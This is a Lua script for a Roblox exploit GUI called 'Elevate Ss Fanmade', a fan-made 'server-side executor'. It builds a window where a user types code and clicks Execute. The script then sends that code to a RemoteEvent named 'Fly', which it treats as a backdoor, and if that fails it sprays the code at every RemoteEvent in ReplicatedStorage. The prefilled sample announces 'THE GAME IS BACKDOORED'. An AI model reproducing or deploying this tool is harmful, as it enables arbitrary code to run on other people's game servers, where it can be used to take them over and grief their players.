--[=[ d888b db db d888888b .d888b. db db db .d8b. 88' Y8b 88 88 `88' VP `8D 88 88 88 d8' `8b 88 88 88 88 odD' 88 88 88 88ooo88 88 ooo 88 88 88 .88' 88 88 88 88~~~88 88. ~8~ 88b d88 .88. j88. 88booo. 88b d88 88 88 @uniquadev Y888P ~Y8888P' Y888888P 888888D Y88888P ~Y8888P' YP YP CONVERTER designed using localmaze gui creator ]=] -- Instances: 9 | Scripts: 2 | Modules: 0 | Tags: 0 local LMG2L = {}; -- Players.SCPTT32.PlayerGui.Elevate Ss Fanmade LMG2L["Elevate Ss Fanmade_1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui")); LMG2L["Elevate Ss Fanmade_1"]["Name"] = [[Elevate Ss Fanmade]]; LMG2L["Elevate Ss Fanmade_1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling; LMG2L["Elevate Ss Fanmade_1"]["ResetOnSpawn"] = false; -- Players.SCPTT32.PlayerGui.Elevate Ss Fanmade.Elevate LMG2L["Elevate_2"] = Instance.new("Frame", LMG2L["Elevate Ss Fanmade_1"]); LMG2L["Elevate_2"]["BorderSizePixel"] = 2; LMG2L["Elevate_2"]["BackgroundColor3"] = Color3.fromRGB(28, 43, 54); LMG2L["Elevate_2"]["Size"] = UDim2.new(0, 414, 0, 266); LMG2L["Elevate_2"]["Position"] = UDim2.new(0, 10, 0, 148); LMG2L["Elevate_2"]["BorderColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["Elevate_2"]["Name"] = [[Elevate]]; -- Players.SCPTT32.PlayerGui.Elevate Ss Fanmade.Elevate.Title LMG2L["Title_3"] = Instance.new("TextLabel", LMG2L["Elevate_2"]); LMG2L["Title_3"]["BorderSizePixel"] = 2; LMG2L["Title_3"]["TextSize"] = 40; LMG2L["Title_3"]["TextXAlignment"] = Enum.TextXAlignment.Left; LMG2L["Title_3"]["BackgroundColor3"] = Color3.fromRGB(28, 43, 54); LMG2L["Title_3"]["TextColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["Title_3"]["Size"] = UDim2.new(0, 412, 0, 50); LMG2L["Title_3"]["BorderColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["Title_3"]["Text"] = [[Elevate]]; LMG2L["Title_3"]["Name"] = [[Title]]; LMG2L["Title_3"]["Position"] = UDim2.new(0, 2, 0, 2); -- Players.SCPTT32.PlayerGui.Elevate Ss Fanmade.Elevate.Input LMG2L["Input_4"] = Instance.new("TextBox", LMG2L["Elevate_2"]); LMG2L["Input_4"]["Name"] = [[Input]]; LMG2L["Input_4"]["TextXAlignment"] = Enum.TextXAlignment.Left; LMG2L["Input_4"]["TextWrapped"] = true; LMG2L["Input_4"]["TextSize"] = 30; LMG2L["Input_4"]["TextColor3"] = Color3.fromRGB(14, 255, 0); LMG2L["Input_4"]["TextYAlignment"] = Enum.TextYAlignment.Top; LMG2L["Input_4"]["BackgroundColor3"] = Color3.fromRGB(28, 42, 54); LMG2L["Input_4"]["ClearTextOnFocus"] = false; LMG2L["Input_4"]["PlaceholderText"] = [[Elevate]]; LMG2L["Input_4"]["Size"] = UDim2.new(0, 366, 0, 142); LMG2L["Input_4"]["Position"] = UDim2.new(0, 28, 0, 70); LMG2L["Input_4"]["BorderColor3"] = Color3.fromRGB(147, 157, 173); LMG2L["Input_4"]["Text"] = [[local m = Instance.new("Message") m.Parent = game.Workspace m.Text = "By elevate ss THE GAME IS BACKDOORED" wait(3) m:Destroy() ]]; -- Players.SCPTT32.PlayerGui.Elevate Ss Fanmade.Elevate.Execute LMG2L["Execute_5"] = Instance.new("TextButton", LMG2L["Elevate_2"]); LMG2L["Execute_5"]["BorderSizePixel"] = 2; LMG2L["Execute_5"]["TextColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["Execute_5"]["BackgroundColor3"] = Color3.fromRGB(0, 113, 1); LMG2L["Execute_5"]["Size"] = UDim2.new(0, 178, 0, 42); LMG2L["Execute_5"]["BorderColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["Execute_5"]["Text"] = [[Execute]]; LMG2L["Execute_5"]["Name"] = [[Execute]]; LMG2L["Execute_5"]["Position"] = UDim2.new(0, 216, 0, 218); -- Players.SCPTT32.PlayerGui.Elevate Ss Fanmade.Elevate.Execute.LocalScript LMG2L["LocalScript_6"] = Instance.new("LocalScript", LMG2L["Execute_5"]); -- Players.SCPTT32.PlayerGui.Elevate Ss Fanmade.Elevate.Clear LMG2L["Clear_7"] = Instance.new("TextButton", LMG2L["Elevate_2"]); LMG2L["Clear_7"]["BorderSizePixel"] = 2; LMG2L["Clear_7"]["TextColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["Clear_7"]["BackgroundColor3"] = Color3.fromRGB(112, 0, 0); LMG2L["Clear_7"]["Size"] = UDim2.new(0, 180, 0, 42); LMG2L["Clear_7"]["BorderColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["Clear_7"]["Text"] = [[Clear]]; LMG2L["Clear_7"]["Name"] = [[Clear]]; LMG2L["Clear_7"]["Position"] = UDim2.new(0, 28, 0, 218); -- Players.SCPTT32.PlayerGui.Elevate Ss Fanmade.Elevate.Clear.LocalScript LMG2L["LocalScript_8"] = Instance.new("LocalScript", LMG2L["Clear_7"]); -- Players.SCPTT32.PlayerGui.Elevate Ss Fanmade.Elevate.UIDragDetector LMG2L["UIDragDetector_9"] = Instance.new("UIDragDetector", LMG2L["Elevate_2"]); -- Players.SCPTT32.PlayerGui.Elevate Ss Fanmade.Elevate.Execute.LocalScript local function C_6() local script = LMG2L["LocalScript_6"]; local rs = game:GetService("ReplicatedStorage") local button = script.Parent local box = script.Parent.Parent.Input button.MouseButton1Click:Connect(function() local code = box.Text if code == "" or code == "-- Ready to execute" then return end local rs = game:GetService("ReplicatedStorage") local backdoor = rs:FindFirstChild("Fly") local success = false if backdoor and backdoor:IsA("RemoteEvent") then success = pcall(function() backdoor:FireServer(code) end) end if not success then for _, v in pairs(rs:GetChildren()) do if v:IsA("RemoteEvent") then task.spawn(function() v:FireServer(code) end) end end end end) end; task.spawn(C_6); -- Players.SCPTT32.PlayerGui.Elevate Ss Fanmade.Elevate.Clear.LocalScript local function C_8() local script = LMG2L["LocalScript_8"]; script.Parent.MouseButton1Click:Connect(function() script.Parent.Parent.Input.Text = "" end) end; task.spawn(C_8); return LMG2L["Elevate Ss Fanmade_1"], require;